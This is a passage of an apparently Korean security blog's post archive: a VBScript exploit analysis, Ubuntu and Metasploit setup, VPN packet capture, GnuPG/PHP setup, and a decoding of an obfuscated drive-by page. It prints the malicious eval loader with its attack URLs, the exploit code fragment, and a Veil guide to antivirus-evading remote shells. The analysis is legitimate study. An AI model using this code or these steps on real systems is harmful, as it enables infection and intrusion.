 if((j=mem+4) or (j*8=mem+8)) then
 if(vartype(aa(a1-1))<>0) Then 
 If(IsObject(aa(a1)) = False ) Then 
 type1=VarType(aa(a1))
 end if 
 end if
 else
 redim Preserve aa(a0)
 exit function

 end if
 else
 if(vartype(aa(a1-1))<>0) Then 
 If(IsObject(aa(a1)) = False ) Then
 type1=VarType(aa(a1))
 end if 
 end if
 end if
 end if

 If(type1=&h2f66) Then 
 Over=True 
 End If
 If(type1=&hB9AD) Then
 Over=True
 win9x=1
 End If

 redim Preserve aa(a0) 

end function

function ReadMemo(add)
 On Error Resume Next
 redim Preserve aa(a2)

 ab(0)=0 
 aa(a1)=add+4 
 ab(0)=1.69759663316747E-313 
 ReadMemo=lenb(aa(a1))

 ab(0)=0 

 redim Preserve aa(a0)
end function`

</script>

그 이외 부분 및 결론

그 이외 부분은 확인한 결과 어나니머스가 사용하던 코드를 그대로 가져와서 꾸민것으로 보였습니다. 즉, 그냥 어린 친구들이 장난한 것으로 보이네요. 공부삼아 분석하였으며 틀린 부분이 있으면 댓글 부탁 드립니다. 그럼 이만 ~

Ubuntu 13.10 한영키 설정

Tue, 11 Feb 2014 12:31:28 +0000

System Settings - Language Support로 이동하여 한글 언어를 추가해준다.
재부팅을 한다.
터미널에서 ibus-setup 을 실행후 'Input Method' 탭에서 한글 입력기를 추가 한다.
터미널에서 xev 실행후 한영키를 입력하여 keycode 값을 확인한다.
터미널을 연다음 사용자 계정폴더에 .Xmodmap 파일을 만들어 아래 내용을 작성한다.
1 2

keycode 확인값 = Hangul remove mod1 = Alt_R
끝으로 다시 터미널에서 ibus-setup 실행후 키보드 변경키를 'Hangul' 로 변경한다.

Ubuntu에 Metasploit 설치하기

Fri, 07 Feb 2014 15:35:18 +0000

Ruby 2.1 버전 이상 설치가 필요하다.

1
2
3
4
5
6
7


# Adds Ruby 2.2 to Ubuntu 14.04
sudo apt-add-repository ppa:brightbox/ruby-ng
# Adds Ruby v1.9/2.0/2.1/2.2 to Ubuntu 14.04/15.04
# sudo add-apt-repository ppa:brightbox/ruby-ng-experimental

sudo apt-get update
sudo apt-get install ruby2.2 ruby2.2-dev

관련 패키지를 설치하도록 한다.

1

sudo apt-get install bundler libpq-dev libpcap-dev libsqlite3-dev

Metasploit을 다운로드 받는다

1

git clone https://github.com/rapid7/metasploit-framework metasploit-framework

Metasploit 폴더경로에서 'sudo bundle install' 명령어로 설치한다.

Metasploit 폴더경로에서 'sudo ./msfconsole' 명령어로 실행한다!

스마트폰 3G 패킷 캡쳐방법

Sat, 07 Dec 2013 22:58:13 +0000

스마트폰 3G 패킷 캡쳐방법에 대해 알아보다 확인한 내용을 기록 합니다. 방법은 3G 통신으로 VPN 서버로 연결, 그리고 VPN 서버측에서 패킷을 캡쳐하는 것입니다. 그럼 VPN 서버를 셋팅해 봅시다.

PPTPD 설치

환경은 VMware에 설치된 Ubuntu 에서 작업 하였습니다. Network Adapter는 Bridged로 설정하여 공유기에 바로 연결합니다. 그럼 이제 pptp를 설치 합니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


tester@ubuntu:~$ sudo apt-get install pptpd
[sudo] password for tester:
Reading package lists... Done
Building dependency tree 
Reading state information... Done
The following extra packages will be installed:
 bcrelay
The following NEW packages will be installed:
 bcrelay pptpd
0 upgraded, 2 newly installed, 0 to remove and 221 not upgraded.
Need to get 95.1 kB of archives.
After this operation, 338 kB of additional disk space will be used.
Do you want to continue [Y/n]? y
Get:1 http://us.archive.ubuntu.com/ubuntu/ raring/main bcrelay amd64 1.3.4-6ubuntu1 [11.5 kB]
Get:2 http://us.archive.ubuntu.com/ubuntu/ raring/main pptpd amd64 1.3.4-6ubuntu1 [83.7 kB]
Fetched 95.1 kB in 2s (47.1 kB/s)
Selecting previously unselected package bcrelay.
(Reading database ... 155358 files and directories currently installed.)
Unpacking bcrelay (from .../bcrelay_1.3.4-6ubuntu1_amd64.deb) ...
Selecting previously unselected package pptpd.
Unpacking pptpd (from .../pptpd_1.3.4-6ubuntu1_amd64.deb) ...
Processing triggers for man-db ...
Processing triggers for ureadahead ...
ureadahead will be reprofiled on next reboot
Setting up bcrelay (1.3.4-6ubuntu1) ...
Setting up pptpd (1.3.4-6ubuntu1) ...
Starting PPTP Daemon: pptpd.
Processing triggers for ureadahead ...

IP 설정, \'pptpd.conf\' 파일 수정

이제 설정을 해봅시다. 설정 파일은 /etc/pptpd.conf 이며 제일 아래에 있는 아래 두줄만 수정합니다. 여기서 \'localip\'는 VPN 서버의 IP를 의미하고 \'remoteip\'는 VPN 서버로 연결되는 기기, 즉 스마트폰이 받을 IP를 의미합니다.

1
2


localip 192.168.0.20
remoteip 192.168.0.100-200

계정 설정, \'chap-secrets\' 파일 수정

다음은 계정 설정입니다. 설정파일은 /etc/ppp/chap-secrets 파일 입니다. 이 파일을 동해 VPN 서버로 접속하기 위한 계정을 설정합니다. 전 아래와 같이 설정했습니다. \'testtest\'

1
2
3


# Secrets for authentication using CHAP
# client server secret IP addresses
test * test *

DNS 설정, \'pptpd-options\' 파일 수정

DNS 설정을 합니다. 설정파일은 /etc/ppp/pptpd-options 입니다. 다른 부분은 수정하지 말고 아래 두줄만 다음과 같이 수정합니다. DNS는 구글DNS로 설정했습니다.

1
2


ms-dns 8.8.8.8
ms-dns 8.8.4.4

커널 IP forwarding 설정, \'sysctl.conf\' 파일 수정

커널에서 IP forwarding이 가능하도록 설정합니다. 설정파일은 \'/etc/sysctl.conf\' 이며 아래와 같이 주석을 제거 합니다.

1
2


# Uncomment the next line to enable packet forwarding for IPv4
net.ipv4.ip_forward=1

그리고 바로 적용합니다.

1
2


tester@ubuntu:~$ sudo sysctl -p
net.ipv4.ip_forward = 1

pptpd 데몬 시작

이제 pptpd를 재시작 합니다. 1723 포트가 잘 올라왔는지 확인합니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


tester@ubuntu:~$ sudo /etc/init.d/pptpd restart
Restarting PPTP:
Stopping PPTP: pptpd.
Starting PPTP Daemon: pptpd.
tester@ubuntu:~$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State 
tcp 0 0 127.0.1.1:53 0.0.0.0:* LISTEN 
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN 
tcp 0 0 0.0.0.0:1723 0.0.0.0:* LISTEN 
tcp6 0 0 ::1:631 :::* LISTEN 

공유기 설정(포트포워딩)

1723 포트가 PPTP VPN 포트 입니다. 이제 공유기에서 포트 포워딩을 통해 설정을 하고 스마트폰에서 연결해 봅시다! 저는 IPTIME 공유기를 사용합니다. 다른 공유기 설정은 알아서들 하셔요 :-)

설정은 \'고급설정\' - \'NAT/라우터 관리\' - \'포트포워드 설정\' 메뉴 입니다. 아래와 같이 설정 합니다. 여기서 내부 IP는 Ubuntu 내부 IP 입니다.

스마트폰으로 접속

아이폰만 보유하고 있어 아이폰 기준으로 설정을 드리겠습니다. 먼저 \'Settings\' - \'General\' - \'VPN\' 메뉴로 들어서 VPN을 추가 합니다. 설정은 아래와 같이 합니다. 여기서 Server는 역시 공유기가 연결된 공인 IP로 하시면 됩니다.

이제 VPN을 아래와 같이 켜면 연결이 됩니다. 아래와 같이 설정된 IP가 잘 셋팅이 되었는지 확인합니다.

이제 패킷을 잡아보세요 ~

Creating Remote Shells that Bypass Anti-Virus with "Veil"

Thu, 06 Jun 2013 18:34:39 +0000

Veil를 언젠가 유용하게 쓸일이 있을거 같아 기록해 둔다.

Veil는 https://github.com/veil-evasion/Veil 에서 다운로드 받는다. Metasploit 역시 http://downloads.metasploit.com/data/releases/framework-latest.tar.bz2 를 다운로드 한다. Metasploit은 /home/tester/msf3 에 Veil는 /home/tester/Veil-master 에 설치했다고 가정하고 진행한다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


tester@ubuntu:~$ sudo ln -s /home/tester/msf3/msfvenom /usr/bin/msfvenom
tester@ubuntu:~$ cd Veil-master
tester@ubuntu:~/Veil-master$ ./Veil.py
=========================================================================
 Veil | [Version]: 1.1.0 | [Updated]: 06.01.2013
=========================================================================

[?] What payload type would you like to use?

 1 - Meterpreter - Python - void pointer
 2 - Meterpreter - Python - VirtualAlloc()
 3 - Meterpreter - Python - base64 Encoded
 4 - Meterpreter - Python - Letter Substitution
 5 - Meterpreter - Python - ARC4 Stream Cipher
 6 - Meterpreter - Python - DES Encrypted
 7 - Meterpreter - Python - AES Encrypted
 8 - Meterpreter - C - void pointer
 9 - Meterpreter - C - VirtualAlloc()
 0 - Exit Veil

[>] Please enter the number of your choice:

이와 같이 선택을 하여 생성하면 된다. 마지막 옵션은 Windows용 바이너리를 만들고자 하면 Py2Exe 리눅스 계열 바이너리를 만드로갖 하면 Pyinstaller를 선택하면 된다.

Py2Exe를 선택했다면 setup.py, payload.py, runme.bat 파일이 생성된다. 이 3개의 파일을 윈도우 시스템으로 복사하여 C:\Python27밑에 복사 후 runme.bat 를 실행한다. 그럼 payload.exe 파일이 생성됨을 볼 수 있다.

단 실행 전 윈도우 시스템에 Python은 기본이며 Py2exe, PyCrypto가 설치되어 있어야 한다. Py2Exe : http://www.py2exe.org/ PyCrypto : http://www.voidspace.org.uk/python/modules.shtml#pycrypto

출처 : http://cyberarms.wordpress.com/2013/06/04/creating-remote-shells-that-bypass-anti-virus-with-veil/

GnuPG를 php에서 사용 시

Mon, 29 Apr 2013 09:06:42 +0000

GnuPG를 php에서 사용 시 설치해야 할 패키지 입니다. 테스트는 Ubuntu 13.04 에서 실시하였습니다.

먼저 Apache와 php를 설치합니다. 그리고 GnuPG 관련 패키지를 설치합니다.

1
2


jjoon@ubuntu:~$ sudo apt-get install apache2 php5-dev php5
jjoon@ubuntu:~$ sudo apt-get install gnupg libgpgme11-dev libgpg-error-dev libassuan-dev

다음 pecl을 통해 php 확장 모듈을 설치합니다. 쉽게 "sudo pecl install gnupg" 하면 되겠지만 해보시면 아시겠지만 에러가 납니다. 열심히 구글링해서 찾아보니 패치가 있어 패치를 적용 후 설치하면 정상적으로 설치가 됩니다.

1
2
3


jjoon@ubuntu:~$ pecl download gnupg
jjoon@ubuntu:~$ tar xvfz gnupg-1.3.2.tgz
jjoon@ubuntu:~$ cd gnupg-1.3.2

아래 URL에서 patch 파일을 받아 bug.patch 로 현재 디렉토리에 저장합니다. https://bugs.php.net/patch-display.php?bug_id=64375&patch=patch&revision=latest

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


jjoon@ubuntu:~/gnupg-1.3.2$ patch -p1 < bug.patch
patching file gnupg.c
patching file gnupg_keylistiterator.c
jjoon@ubuntu:~/gnupg-1.3.2$ phpize
Configuring for:
PHP Api Version: 20100412
Zend Module Api No: 20100525
Zend Extension Api No: 220100525
jjoon@ubuntu:~/gnupg-1.3.2$ ./configure
[생략]
jjoon@ubuntu:~/gnupg-1.3.2$ make
[생략]
jjoon@ubuntu:~/gnupg-1.3.2$ sudo make install
[생략]
jjoon@ubuntu:~/gnupg-1.3.2$ sudo vi /etc/php5/apache2/php.ini
마지막 라인에 "extension=gnupg.so" 추가

이후 과정은 아래 페이지를 참고하여 코드를 작성하면 됩니다. http://www.php.net/manual/en/book.gnupg.php

JSXX 0.44 VIP

Sat, 22 Dec 2012 22:22:37 +0000

최근 경향은 대부분 자바 취약점이네요. 간단하게 한번 디코딩 하여 살펴보았습니다.

1
2
3
4
5
6


http://5b8.co/m
L http://5b8.co/m/index.html
 L http://5b8.co/m/swfobject.js
 L http://5b8.co/m/jpg.js
 L http://5b8.co/m/jvTDIYE7.html
 L http://5b8.co/m/GAHNr0.html

원본 코드는 아래와 같습니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


<script type="text/javascript" src="swfobject.js"></script>
<script src=jpg.js></script>
<script type="text/javascript">
var YdgJw3=navigator.userAgent.toLowerCase();
var SPRB3="1"+"1"+"1";
if(document.cookie.indexOf("xcDHL4=")==-1 && YdgJw3.indexOf("linux")<=-1 && YdgJw3.indexOf("bot")==-1 && YdgJw3.indexOf("spider")==-1)
{
var pxtXtt1=deconcept.SWFObjectUtil.getPlayerVersion();
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
SPRB3="0";
document.cookie="xcDHL4=Yes;path=/;expires="+expires.toGMTString();
FTYdkdd0="1";delete FTYdkdd0;try{FTYdkdd0+="0"+"0"+"0"+"0"+"0"+"0"+"0"+"0";}catch(e){var Huaqmm1="1";XtpkDF6 = eval}aoiGBd6=unescape;QykQ0="CDCE58A6CEDF76F89EC56AB8FEE77FE190E870AADBFF7FE68E9708AAF28671CE89F97BDA8FF97FD6EAEA259AAEB933DEBCB0349EA0AA709DBF8E1159B3CC1D3DBF860977B2880072CD86006393905E2CD79B082CCDD4451BF94DE368D758E9709F60EE5BC261E1454864F7443523F55C6670EE574279FB5B6E77D612287FC95A6A06833B1A2FCA6B785CDF6D7159986E4C55C33E4645CE71455D81704651A234542EA4445667B70D000AD85E5E79F64B6E61BE51616BE3506C678E577451874A70318D256169BC476A0FDB2D3F09CD072B599B7C05528C60510A5B79435F217E4911716E5968720A1B29280F0604044D2E63764F67692B426667695342776A126E6F504648117B2E65405A687A4A4B2030711C707F6E19770B121D3D02023312495272345A7C351B5E3F6956497F22445A65775869347D1B2E3A153E721A164C606B1D4C706D57255C4D5C2A78555E7E46426D24534A446244505D3A066B126A71646F7D1D1825371C3A0B2850632A0E5A66604E20696A12777C661B277275586F787A4232694F4E282C2C7D1A2F43623B01066F7043566D47490A2D16020A241C19183E0F5A6F7257206058093E39130B373C011F776C0C29687B5E61727C4C352A2D0E3D28121C373904277A4D4C637D5F123B2C1D003A11061472591310754659587749437C27000A322D062120041962654859686A527F30231B3321261B2E18104D0613685B7D3D45517D45476437180A60744A5B657A4346224043537153507F784E545B765B15277D433168454324211F360D6B47516F71482F787D54717B251638352735077C4F52757E406E7D464165715311242C090B072B4652260D54577C4D56586E1106712C010D353E13272645566B6E4759713017703B221E3338364E7B35325164777A5B6B651C032214163027050C223B4E41667B4C56741F0C072517060B3D02343463223767735D25654419627A47536E7A4D0229576D494166002B7968532B2C11326A744E58707B0A237A474D3F3B604368794A544D4E41506F41764062075450775E4862213C3565715B65674617766F527C7D7A58286F675A6639345668617B14273B764E7B6D18113C5651773947466578425A6D7E4F1C6F4C5C197B48471563444E107D57582235084C0E4458607D495E6978065D6474552F6E6440607D7C77617E705C257C4F52757E40692E2E227F142D496A6E4E1063470F1C26425C56764853442A100A772A010D22381321614D57616B424537331B763D221E2A316A4E273D7D59657D7F5E77211F0F2511153037030C247C46406C7E494A321E0000201705133457451E3048526E7852257C1C0A323D1408342C0E192B77436F6B75547D2D25053C272C0824322D366A122E277A4D4C637D094D747E43597C4412165D47475E4B6A460E38474B27380A3208795A6F62435D2B6949596C330806627C4A6275534A7F3B555E65763059637C514D311A2B0A704A44607A4D007B7A59737857435F7252415F3C09415779405061735F37260C156B7C504B3D2307487C6702636375536E677D556B397F5760344B536330532F620D4D7A7C05053D102157654F4B556A0B405D66684348644459356E5417207C5B232A004E6A73494870675029646A47627E7B5368796C142222133068724C5A7245087372516B706F5B476A6A59572401425F320B17597B455E52794644657E46306D021E38052E5C68624C5E6F3E5F647B5544716171567C6379102F79531E3D3D13742D010139142D48697E5E5D6F4F5B1A6C4A57413C48474C73435F037258536636526E68465861231D300373274B687E5D66317F54273D325164777A5B6B651E032216163024050C223B4E41667B4C56741D0C072717050A3D0B454238075A6F72572060580B3E39120B343E08192D304B6E617051616B260938212C083D3200406D3F0C277A4D4C637D5F103B2C1E0039130F12280554577C4D56586E1306712F010F32371C0C0C59340F6D49536D6F4E6F6C604D6B7860573A377D555B4F695E5B2A0C546346043B1A2F4D6B754D4F6C314E5D68460C1477485B5E251C0B0D3668526E78523570415468264757667F5B1D301D2666607A54647736476C635D4C7969495E646B4168375B4163764A4D69715D12260347407A5509173D5E404B384F5721795A4B677F572F654D542A61494F2679453623775666333F090A1F7D59657D7F5E216E474A525552727E475F707E010C6A710F1E2E545E4F7F524C536E435046714E526D7D5C2D72021E38052E5C68624C5E6F3E5F647B5544716171567C6379102F68491E3D3D472F7B444463705E4964685A592808143904425C567648531265484F016E454D6B7C4075630A1B677904112B391E792F3B150E1B725D64607753656D305860795B10725156657941696C72454A2078425C6842551F2B2A3F4719215C526B4A1D697A1369634F59676940433B3119083B201A21293210627C765068736406302A170C212F0D4D1F5825086F465E267E5345795B1714330544517C4D584B38435A3673565E7671472F73515C774B4158677A0435625E417474647166667F1E22221330667B0216705953736D1D046D754D4B70504B1A2B4E425F7507031D3D0B071E351E140D16484C0E4458607D495E697806487979586427360C4A5152714A433C5B617A534F787B1967764F5B6B7D1D144759127332151F193E11077D3F180678270079735F0812322E0D3133640D3C3362043A290A3664765A6B2C310037253D16637C775D67691F192111162729195A6569484328714C5F691E495F7148585B7B474F1E6E4E5175790E6123484377781E14287B5F48257240606C7F4460727A1A6A787117667452136670536E705B4D25271B5C676F4A5D2A4F4E596B185156325F5650634806603D46507B7140786F58516C724F5C66634B2E6164093D2D6653757477166578735F326E4B1E65404A7572180A237846406F734C5B75465343614E1204285B584C79421D6E7D5E24394244237E45577269151F2C271839282A0C75726A5564377259607E1D7F5E5B6160634244777C1A0C217E5D5538111E06765D4B403C6E5852725B4D6E795D5E716D123F3A5258776B4B1D676F472430735C60797F4462356C57676C7B072F3A68564264142E7D554D23251501475D67774F770F14391C38306926335B745C580D16484C0E47586D6C455F296D5A5C63795A6432367A6D425D06277D6C5F2F202D3676704A24744706617643493B3F48466F131F053C5D4B406A07705378494D36345253636D46233D2F3362654859686A043268666F7765645B65606E53233B66536E724F5F7C4D50223B0742706F591427305A457B0D535A71445E4E714A5B107B40502F775C332B575874264143622E0104061A4B6E617051613D6B517D56684C7F724249657A0C62774D0A2E3B50437F725E49635B475D764C52577F485850600F127B173B586D705160620C4A607E67497D7C432378664B2B33655B25393855647779566E745B5B71545769350C1109114E41667B4C5622505442515341487D494C4A7D071F626F116D2617033B2A0D000A064C506865416461601E677C7C4D27766C486875447F797648243D44476C7D46482F26263A772C2549032F5654614C1755700D1327755F5B637A4D3D3B130E353A111D2F280A26627C4A62756E0C3A242D063B29373705662F3465405420745D5F7761110E353F5A5B62475E413E49544C7D4C584A775D13756F56334547526D7C0A4F684047486E626F607C71182C28153E60713C106E63554F6B270A297B474D7A564104217058596F01191327050D183F181E311C56364A7E5E5C7773506F720C4E77635258212C160E4F586B404536516B746945627D231D6C715157771B1E41531C693C2F1903382B197721120072210A77095112140E28170D355A07783D640E302F044C6E685C5736371E313F33106D7671536163211F3F2B101B2F23542167424522774641632053596B4E42556149451864485B4973101B6772454B72241A2E71554E2B684A5C6A655E246C7000607E7B1D6C7A68197C7669146A6547192D1D5661654447247548436D224F5C2C55505A6542081A335C5647775A4469665B287C49566C6545546B7A0F0137604D736E79106B727551346475187B7A4C4974220467764C46657546457F7849457B48080A3255524A7344175277405E7D78421F747F5974631F19223D12052E3016316C604F6E3178536A702775445D5B1A797C4E4B761C0627704A446029191F3A2A1D053A0D76597E43444B3A48555F6B5C1A3E20432076415A236645566231494D687845776A3446647F6D5134373B777852715A564F136E7F534F25271B03495F617549751116271E3E326F243D597A5E5E4D104A3208795A6F62435D2B6B545E61675C243030617658475440452D1861697918341028597C4F4261730B496B7F4C132A78425C681101072212050D22057E51764B4C7132502D655344213329316063465B6A7402726A607171676A5D6B62685D25395855707049217A4F5E2035054472695B0A250E5843790B5154734A5C48734C596E795E522D755A73295556722443456C2C037A0018496C7F7253633B69537F586A4E7D74404B67440E22754B0828395E417170584B6559595F684E5455794A56526E0D143B1139266B4E53626C0A486278694B7F6245637A60552D316B5D2B3B3E5B6275475070765D257756596B3B0E170B174C5F64454E502056564C535D434E7F4F4E347F191D606D172D24150D3D280F0604044E2E6E6743667F621C657A7E4F25786E4A6A73467D7B484A643F42456A7F484A21242038712E3B4B1D2D48371E4E554D7D0F46091139482B0A3A09014D5D2F7C504B5364583054335D647977462E4A21053C2A001A373F5438617B5C76287C0B6B74455F780672083316131E3409474462754F342B6A18707B43265B1E04363A161D2F280A3175667677652769207275586F787A1D52211F1E211616296C28200D7F464D7D72485C780D4644795350567A031B0271425A206F412239474F656C7108297F5F59352C702E6679573B31310F041D154B686F74557C7A4B35610B0A667644596B78454424565D5D7A405F563A751500734059257E11486B7A41693B1309352A4E586069423530220E7063750F606D7C525E2A3049787B1C024F7D09657A474F6025750C21240F1E3E130106391C38301D563434114A517379484C0E291D2C052E32716D5A1F68685972752C1038336F5D6773734F2375414A787845347A5106776A425E477A4E5E7E0F5B5B424A445D606A564F7305127B173B366B7815292E414170795C0527674425686A616539315F747C7F163D3E371A313D0F0F3A5D5A28745D5F7761110061714957746C571E374A4653710B0E19310F03203102682D004C0E022D5F686F5D526E7E582F7866597176745A213520516B694151743F5732761E42744D63655F581C1E6255425830196F177B4F455D7B480562330A320817480C0C2B5C6979431D606802696E6A5B706B2E1C6E7B7E53735678122870515776011E273E05142436180728390B12244D50407940544E7B59174B6B4A4F417B562F700E5E6D6C4143486A00185C794265606343255D4C143C392D1F243B1E1C3C2E0D603305082A77465A6F7A4A44655301567C4A444B775B7B5D784A4E217D54116B7051647E6D5F2D2D4D522E270A7F2D3F1F2A386D3F0D1C7E59686C735F61690C49614852657B4B02262740487A7E40572C5043552D6074725A590910705B506C220F1D2B49517169495E392E0104061A257C021E392A3C6539036A113236162A587473413470037A5574617F456C1F0B072B4B516240475D32466F5D41680F7B173B5B6772507563027D464342517B3F114C07764B6F7462572752767B445129010217465B7F44526537617A6B63537E3B24203868465D536442154D7E41580823223764795F24704517405F5E6F323725356F7540647B7110747C6E5D41252735077F4550746B4160586579766961543E26263A6E4443517A4013755B7F600B2D2031247F5D5A767B154D757468604B150604044E2461775A66317043487275717C2F25370579475276554320465C41552B1223027B485E69575416647F5F6346620E051525596570563561006F77784F7F413A13320174496D6A60552578557B425F70523C202D36757A482561460863764E6B44791D0B072B4B516240475D324D765B7F4E74312F0A32087A506D63565C25426B535A5D4F033C29230975735E62617F165D53567F4C2A19331945436C72514F244A635E7C5D6C0A372E3B52754B504E710B7455545D5A4479007A092A536664414F622C7B5E4F43436241260B08197C516572685D2D4D474E7D4E5618231825087D424063694E105C6643754F4101031F2353597A484F253A776B577C63783319340F6E43516C7A4F614B4677677A7256372E173C6F7C725F7B7802766640576D7A141109114D4B647A59572C756643424063082F26335A7D435874791306695847303329316369445A7F750C42757C576944200F041D785D617E54593148540A796F5130222A26627847557E440F5D6D6A5C72466404071B275F2576544B673E7D6A54630D3E072C596C624F3568327E50775E555226213B017D7B566A69471E4272556863171109114D4B647A59572C6C55666A53010119215D5B744A49653C432F6A747042381F360D684D536E64492168417A6E78557B3D2C1132697E4C59657A043842446E4B211C210C695949716240586240504C5548455E774A5E68330A42617F41626E0A5C2C715B3003";RWmFSCq4="function oXaWE4(){DCIdlr1=Math.PI;VgrlQrX6=Math.tan;GlMOH7=parseInt;DPoxzP3='length';MkLrgDe3='test';HMnSSeB1='replace';wjja6=GlMOH7(~((DCIdlr1&DCIdlr1)|(~DCIdlr1&DCIdlr1)&(DCIdlr1&~DCIdlr1)|(~DCIdlr1&~DCIdlr1)));CWzT5=GlMOH7(((wjja6&wjja6)|(~wjja6&wjja6)&(wjja6&~wjja6)|(~wjja6&~wjja6))&1);/*Encrypt By www.blackteab.com's JSXX 0.44 VIP*/qoviH2=CWzT5<<CWzT5;new function(){tXjYRI7=XtpkDF6('1Qe4dG*]6zY^k8vb]#&,m8$[x_GD3a]Nj5dsn7[F[8cu[S34Rlc]4r;idpDt='[HMnSSeB1](/[^v@0el9a]/g,''));};try{if(!\/^\\d*$\/g[MkLrgDe3](MFQtpFx8));}catch(e){MFQtpFx8=wjja6;}MIVW7='';LsVQeA3=String[aoiGBd6('%6'+'6%72%'+'6F%6D%4'+'3%68%61'+'%72%4'+'3%6F%64'+'%65')];for(fqOgoGw6=wjja6;fqOgoGw6<RWmFSCq4[DPoxzP3];fqOgoGw6-=-CWzT5)MFQtpFx8=((MFQtpFx8&127)<<25)|((MFQtpFx8&4294967168)>>>7)+RWmFSCq4.charCodeAt(fqOgoGw6);SaDSocN2+=CWzT5;MFQtpFx8>>>=0;for(fqOgoGw6=wjja6,dAgicOq5=CWzT5;fqOgoGw6<QykQ0[DPoxzP3];fqOgoGw6+=qoviH2,dAgicOq5++){if(fqOgoGw6>=(1<<3)){FTUbVy5=fqOgoGw6%(1<<3);}else {FTUbVy5=fqOgoGw6;}VGlAAd2=GlMOH7('0x'+MFQtpFx8.toString(CWzT5<<4).substr(FTUbVy5,2))+dAgicOq5;if(\/^(\\d{4})\/g[MkLrgDe3](VGlAAd2+744))VGlAAd2%=66;MIVW7+=LsVQeA3(GlMOH7(wjja6+aoiGBd6('x')+QykQ0.charAt(fqOgoGw6)+QykQ0.charAt(fqOgoGw6+GlMOH7(CWzT5)))^VGlAAd2);}try{new function(){tXjYRI7(MIVW7);}}catch(e){try{new function(){VJHEC7=parseInt;VgrlQrX6(MIVW7);}}catch(e) {window.location='.';}}}try{XtpkDF6('oXaWE4();')}catch(e) {try{SaDSocN2=wjja6;XtpkDF6('oXaWE4();');}catch(e){alert('ere');}}";kMOKHlj1 = XtpkDF6(XtpkDF6);kMOKHlj1(RWmFSCq4);
}
</script>
<script language="javascript" src="http://count34.51yes.com/click.aspx?id=348319018&logo=1" charset="gb2312"></script>

불필요한 부분을 지우고 디코딩을 위해 몇가지 추가하여 확인해봅니다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


<html>
 <form name="TEST">
 <textarea name="TEST" cols="100" rows="100">
 </textarea>
 </form>
</html>

<script type="text/javascript">
var YdgJw3=navigator.userAgent.toLowerCase();
var SPRB3="1"+"1"+"1";
SPRB3="0";
FTYdkdd0="1";delete FTYdkdd0;try{FTYdkdd0+="0"+"0"+"0"+"0"+"0"+"0"+"0"+"0";}catch(e){var Huaqmm1="1";XtpkDF6 = eval}aoiGBd6=unescape;
QykQ0="CDCE58A6CEDF76F89EC56AB8FEE77FE190E870AADBFF7FE68E9708AAF28671CE89F97BDA8FF97FD6EAEA259AAEB933DEBCB0349EA0AA709DBF8E1159B3CC1D3DBF860977B2880072CD86006393905E2CD79B082CCDD4451BF94DE368D758E9709F60EE5BC261E1454864F7443523F55C6670EE574279FB5B6E77D612287FC95A6A06833B1A2FCA6B785CDF6D7159986E4C55C33E4645CE71455D81704651A234542EA4445667B70D000AD85E5E79F64B6E61BE51616BE3506C678E577451874A70318D256169BC476A0FDB2D3F09CD072B599B7C05528C60510A5B79435F217E4911716E5968720A1B29280F0604044D2E63764F67692B426667695342776A126E6F504648117B2E65405A687A4A4B2030711C707F6E19770B121D3D02023312495272345A7C351B5E3F6956497F22445A65775869347D1B2E3A153E721A164C606B1D4C706D57255C4D5C2A78555E7E46426D24534A446244505D3A066B126A71646F7D1D1825371C3A0B2850632A0E5A66604E20696A12777C661B277275586F787A4232694F4E282C2C7D1A2F43623B01066F7043566D47490A2D16020A241C19183E0F5A6F7257206058093E39130B373C011F776C0C29687B5E61727C4C352A2D0E3D28121C373904277A4D4C637D5F123B2C1D003A11061472591310754659587749437C27000A322D062120041962654859686A527F30231B3321261B2E18104D0613685B7D3D45517D45476437180A60744A5B657A4346224043537153507F784E545B765B15277D433168454324211F360D6B47516F71482F787D54717B251638352735077C4F52757E406E7D464165715311242C090B072B4652260D54577C4D56586E1106712C010D353E13272645566B6E4759713017703B221E3338364E7B35325164777A5B6B651C032214163027050C223B4E41667B4C56741F0C072517060B3D02343463223767735D25654419627A47536E7A4D0229576D494166002B7968532B2C11326A744E58707B0A237A474D3F3B604368794A544D4E41506F41764062075450775E4862213C3565715B65674617766F527C7D7A58286F675A6639345668617B14273B764E7B6D18113C5651773947466578425A6D7E4F1C6F4C5C197B48471563444E107D57582235084C0E4458607D495E6978065D6474552F6E6440607D7C77617E705C257C4F52757E40692E2E227F142D496A6E4E1063470F1C26425C56764853442A100A772A010D22381321614D57616B424537331B763D221E2A316A4E273D7D59657D7F5E77211F0F2511153037030C247C46406C7E494A321E0000201705133457451E3048526E7852257C1C0A323D1408342C0E192B77436F6B75547D2D25053C272C0824322D366A122E277A4D4C637D094D747E43597C4412165D47475E4B6A460E38474B27380A3208795A6F62435D2B6949596C330806627C4A6275534A7F3B555E65763059637C514D311A2B0A704A44607A4D007B7A59737857435F7252415F3C09415779405061735F37260C156B7C504B3D2307487C6702636375536E677D556B397F5760344B536330532F620D4D7A7C05053D102157654F4B556A0B405D66684348644459356E5417207C5B232A004E6A73494870675029646A47627E7B5368796C142222133068724C5A7245087372516B706F5B476A6A59572401425F320B17597B455E52794644657E46306D021E38052E5C68624C5E6F3E5F647B5544716171567C6379102F79531E3D3D13742D010139142D48697E5E5D6F4F5B1A6C4A57413C48474C73435F037258536636526E68465861231D300373274B687E5D66317F54273D325164777A5B6B651E032216163024050C223B4E41667B4C56741D0C072717050A3D0B454238075A6F72572060580B3E39120B343E08192D304B6E617051616B260938212C083D3200406D3F0C277A4D4C637D5F103B2C1E0039130F12280554577C4D56586E1306712F010F32371C0C0C59340F6D49536D6F4E6F6C604D6B7860573A377D555B4F695E5B2A0C546346043B1A2F4D6B754D4F6C314E5D68460C1477485B5E251C0B0D3668526E78523570415468264757667F5B1D301D2666607A54647736476C635D4C7969495E646B4168375B4163764A4D69715D12260347407A5509173D5E404B384F5721795A4B677F572F654D542A61494F2679453623775666333F090A1F7D59657D7F5E216E474A525552727E475F707E010C6A710F1E2E545E4F7F524C536E435046714E526D7D5C2D72021E38052E5